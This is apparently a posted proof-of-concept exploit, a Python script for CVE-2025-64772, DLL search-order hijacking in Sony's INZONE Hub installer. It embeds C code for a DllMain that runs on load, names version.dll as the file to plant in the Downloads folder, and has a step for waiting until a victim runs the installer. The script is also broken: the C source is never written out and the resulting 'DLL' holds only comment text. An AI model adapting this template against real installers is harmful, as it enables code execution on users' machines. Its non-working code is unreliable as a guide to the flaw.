CVE-2025-64772 Sony INZONE Hub DLL搜索路径劫持漏洞

# CVE-2025-64772 PoC - DLL Search Order Hijacking # Target: Sony INZONE Hub Installer (versions 1.0.10.3 to 1.0.17.0) # This PoC demonstrates the DLL search path vulnerability import os import ctypes import shutil import sys def create_malicious_dll(): """ Generate a malicious DLL that will be loaded by the vulnerable installer This DLL will execute arbitrary code when loaded """ dll_code = ''' #include <windows.h> BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) { if (fdwReason == DLL_PROCESS_ATTACH) { // Payload execution - write to log file HANDLE hFile = CreateFileA( "C:\\\\Temp\\\\cve_2025_64772_poc.log", GENERIC_WRITE, FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL ); if (hFile != INVALID_HANDLE_VALUE) { const char* msg = "[+] CVE-2025-64772 DLL hijack successful! Arbitrary code executed.\\n"; DWORD bytesWritten; WriteFile(hFile, msg, strlen(msg), &bytesWritten, NULL); CloseHandle(hFile); } // Execute malicious payload here // Example: system("calc.exe"); } return TRUE; } ''' # Target DLL name that the installer tries to load target_dll = "version.dll" # Common Windows DLL that installers may load with open(f"malicious_{target_dll}", "w") as f: f.write("# This is a placeholder. Compile actual C code with MinGW or MSVC.\n") f.write("# Target: " + target_dll + "\n") f.write("# Note: This DLL should export functions expected by the installer\n") return f"malicious_{target_dll}" def exploit(): """ Exploitation steps for CVE-2025-64772 """ print("[*] CVE-2025-64772 DLL Search Order Hijacking PoC") print("[*] Target: Sony INZONE Hub Installer 1.0.10.3 - 1.0.17.0\n") # Step 1: Create malicious DLL dll_name = create_malicious_dll() print(f"[1] Created malicious DLL: {dll_name}") # Step 2: Place DLL in search path (installer directory or current directory) installer_path = os.path.expanduser("~/Downloads/") # Common download location target_path = os.path.join(installer_path, dll_name) print(f"[2] Place {dll_name} in: {installer_path}") print(f" This directory should be where the INZONE Hub installer is located") # Step 3: Social engineering - trick user into running the installer print("[3] Wait for user to execute INZONE Hub installer") print("[4] Installer loads our malicious DLL during installation") print("[5] Arbitrary code executed with user privileges\n") print("[!] Note: This is a demonstration. Actual exploitation requires:") print(" - Compiled malicious DLL with correct exports") print(" - Placement in the correct search path") print(" - User interaction to run the installer") return True if __name__ == "__main__": exploit()